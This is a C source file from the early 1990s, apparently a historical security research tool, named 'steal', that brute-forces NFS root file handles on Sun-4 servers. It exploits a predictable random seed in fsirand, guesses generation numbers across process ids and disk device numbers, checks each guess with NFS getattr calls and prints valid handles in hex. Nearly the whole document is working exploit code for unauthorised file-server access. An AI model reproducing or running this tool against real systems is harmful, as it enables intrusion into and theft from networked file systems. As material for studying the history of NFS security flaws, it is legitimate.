./c0de/c/handle.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
/*
 * Copyright, 1991, 1992, by Leendert van Doorn.
 *
 * This material is copyrighted by Leendert van Doorn, january 1992. The usual
 * standard disclaimer applies, especially the fact that the author nor the
 * Vrije Universiteit, Amsterdam are liable for any damages caused by direct or
 * indirect usage of the information or functionality provided in this material.
 * Permission is hereby granted to use and publish this material and information
 * contained in this document provided that the above copyright is acknowledged.
 */
/*
 * steal - try to steal handles from a sun-4 NFS file server
 */
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/vnode.h>
#include <sys/vfs.h>
#include <ufs/inode.h>
#include "mount.h"
#include "nfs_prot.h"
 
/*
 * This random seed is the constant value that the
 * uninitialized variable ``timeval'' in fsirand contains.
 */
#define        SUN4_RANDOM     (0 + 32)
 
/*
 * Disk device descriptor (major/minor)
 */
#define        DSK_NMIN        16
struct disk {
    int dsk_maj;               /* major disk device number */
    int dsk_min[16];           /* minor device table */
};
 
/*
 * Device descriptor
 */
#define        DEV_NDISKS      2
struct device {
    long dev_random;           /* machine specific random seed */
    int dev_pid;               /* maximum pid to look at */
    struct disk dev_disks[DEV_NDISKS]; /* disk table */
};
 
struct device device = {
    { SUN4_RANDOM, 2000,
       { 10,   /* /dev/xd[01][a-h] */
           { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
       { 7,    /* /dev/sd[01][a-h] */
           { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 } },
    },
};
 
/*
 * File system types, these correspond to entries in fsconf
 */
#define MOUNT_UFS       1
#define MOUNT_NFS       2
#define MOUNT_PC        3
#define MOUNT_LO        4
#define MOUNT_TFS       5
#define MOUNT_TMP       6
 
/*
 * This struct is only used to find the size of the data field in the
 * fhandle structure below.
 */
static struct fhsize {
    fsid_t  f1;
    u_short f2;
    char    f3[4];
    u_short f4;
    char    f5[4];
};
#define NFS_FHMAXDATA   ((NFS_FHSIZE - sizeof (struct fhsize) + 8) / 2)
 
struct svcfh {
    fsid_t  fh_fsid;                /* filesystem id */
    u_short fh_len;                 /* file number length */
    char    fh_data[NFS_FHMAXDATA]; /* and data */
    u_short fh_xlen;                /* export file number length */
    char    fh_xdata[NFS_FHMAXDATA]; /* and data */
};
 
struct timeval timeout = { 60, 0 };
struct sockaddr_in server_addr;
CLIENT *client;
 
int handleok();
long random();
 
main(argc, argv)
    int argc;
    char **argv;
{
    register int pid;
    int sock = RPC_ANYSOCK;
    char *host;
 
    if (argc != 2) {
       fprintf(stderr, "Usage: %s host\n", argv[0]);
       exit(1);
    }
    host = argv[1];
 
    /* convert hostname to IP address */
    if (isdigit(*host)) {
       server_addr.sin_addr.s_addr = inet_addr(host);
    } else {
       struct hostent *hp = gethostbyname(host);
       if (hp == NULL) {
           fprintf(stderr, "%s: unknown host\n", host);
           exit(1);
       }
       bcopy(hp->h_addr, &server_addr.sin_addr.s_addr, hp->h_length);
       host = hp->h_name;
    }
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = 0;
 
    /* setup communication channel with NFS daemon */
    if ((client = clntudp_create(&server_addr,
       NFS_PROGRAM, NFS_VERSION, timeout, &sock)) == NULL) {
       clnt_pcreateerror(host);
       exit(1);
    }
    clnt_control(client, CLSET_TIMEOUT, &timeout);
    client->cl_auth = authunix_create_default(-2, -2);
 
    /*
     * For every likely process id, search through the list
     * of likely devices and create a handle. Since the pid's
     * used in fsirand are often low (<1000), it makes more
     * sense to go through the devices first.
     */
    for (pid = 0; pid <= device.dev_pid; pid++) {
       register int n, dsk;
       long gen;
 
       /* initialize generation generator */
       srandom(1);
       srandom(pid + device.dev_random);
       n = pid;
       while (n--) (void) random();
 
       if ((pid % 100) == 0) printf("\tpid = %d\n", pid);
 
       /* compute generation # for inode 2 */
       (void) random(); /* inode 0 */
       (void) random(); /* inode 1 */
       gen = random();
 
       /*
        * Try every disk controler
        */
       for (dsk = 0; dsk < DEV_NDISKS; dsk++) {
           register struct disk *dp = &device.dev_disks[dsk];
           register int min, maj = dp->dsk_maj;
 
           /*
            * Try every disk. A minor number of -1 indicates that
            * it has already been guessed.
            */
           for (min = 0; min < DSK_NMIN; min++) {
               fhandle handle;
 
               if(dp->dsk_min[min] == -1) continue;
               makehandle(handle, maj, dp->dsk_min[min], 2, gen, 2, gen);
               if (handleok(handle)) {
                   dp->dsk_min[min] = -1;
                   printhandle(handle);
                   break;
               }
           }
       }
    }
 
    auth_destroy(client->cl_auth);
    clnt_destroy(client);
    exit(0);
}
 
/*
 * Create a handle
 */
makehandle(handle, maj, min, inum, gen, rinum, rgen)
    struct svcfh *handle;
    int maj, min;
    long inum, gen;
    long rinum, rgen;
{
    handle->fh_fsid.val[0] = makedev(maj, min);
    handle->fh_fsid.val[1] = MOUNT_UFS;
 
    handle->fh_len = 10;
    *((u_short *)&handle->fh_data[0]) = 0;     /* length */
    *((ino_t *)&handle->fh_data[2]) = inum;    /* inode */
    *((long *)&handle->fh_data[6]) = gen;      /* generation number */
 
    handle->fh_xlen = 10;
    *((u_short *)&handle->fh_xdata[0]) = 0;    /* length */
    *((ino_t *)&handle->fh_xdata[2]) = rinum;  /* inode */
    *((long *)&handle->fh_xdata[6]) = rgen;    /* generation number */
}
 
/*
 * Just use some fast nfs rpc to check out the
 * correctness of the handle.
 */
int
handleok(handle)
    fhandle *handle;
{
    attrstat *res;
 
    if ((res = nfsproc_getattr_2(handle, client)) == NULL)
       return 0;
    if (res->status != NFS_OK)
       return 0;
    return 1;
}
 
printhandle(handle)
    struct svcfh *handle;
{
    register char *p;
    register int i;
 
    /* fsid[0] -> major, minor device number */
    fprintf(stderr, "\t(%d,%d) ",
       major(handle->fh_fsid.val[0]), minor(handle->fh_fsid.val[0]));
 
    /* fsid[1] -> file system type */
    switch (handle->fh_fsid.val[1]) {
    case MOUNT_UFS: fprintf(stderr, "ufs "); break;
    case MOUNT_NFS: fprintf(stderr, "nfs "); break;
    case MOUNT_PC:  fprintf(stderr, "pcfs "); break;
    case MOUNT_LO:  fprintf(stderr, "lofs "); break;
    case MOUNT_TFS: fprintf(stderr, "tfs "); break;
    case MOUNT_TMP: fprintf(stderr, "tmp "); break;
    default:       fprintf(stderr, "unknown "); break;
    }
 
    /* file number length, and data */
    fprintf(stderr, "<%d,%ld,%ld> ",
       *((u_short *)&handle->fh_data[0]),
       *((ino_t *)&handle->fh_data[2]),
       *((long *)&handle->fh_data[6]));
 
    /* export file number length, and data */
    fprintf(stderr, "<%d,%ld,%ld>\n",
       *((u_short *)&handle->fh_xdata[0]),
       *((ino_t *)&handle->fh_xdata[2]),
       *((long *)&handle->fh_xdata[6]));
 
    /* print handle in hex-decimal format (as input for nfs) */
    fprintf(stderr, "handle:");
    for (i = 0, p = (char *)handle; i < sizeof(struct svcfh); i++, p++)
       fprintf(stderr, " %02x", *p & 0xFF);
    fprintf(stderr, "\n");
}
 
/*
 * Returns an auth handle with parameters determined by
 * doing lots of syscalls.
 */
AUTH *
authunix_create_default(uid, gid)
    int uid, gid;
{
    char machname[MAX_MACHINE_NAME + 1];
    int gids[1];
 
    if (gethostname(machname, MAX_MACHINE_NAME) == -1) {
       fprintf(stderr, "authunix_create_default: cannot get hostname\n");
       exit(1);
    }
    machname[MAX_MACHINE_NAME] = 0;
    gids[0] = gid;
    return (authunix_create(machname, uid, gid, 1, gids));
}
 

Back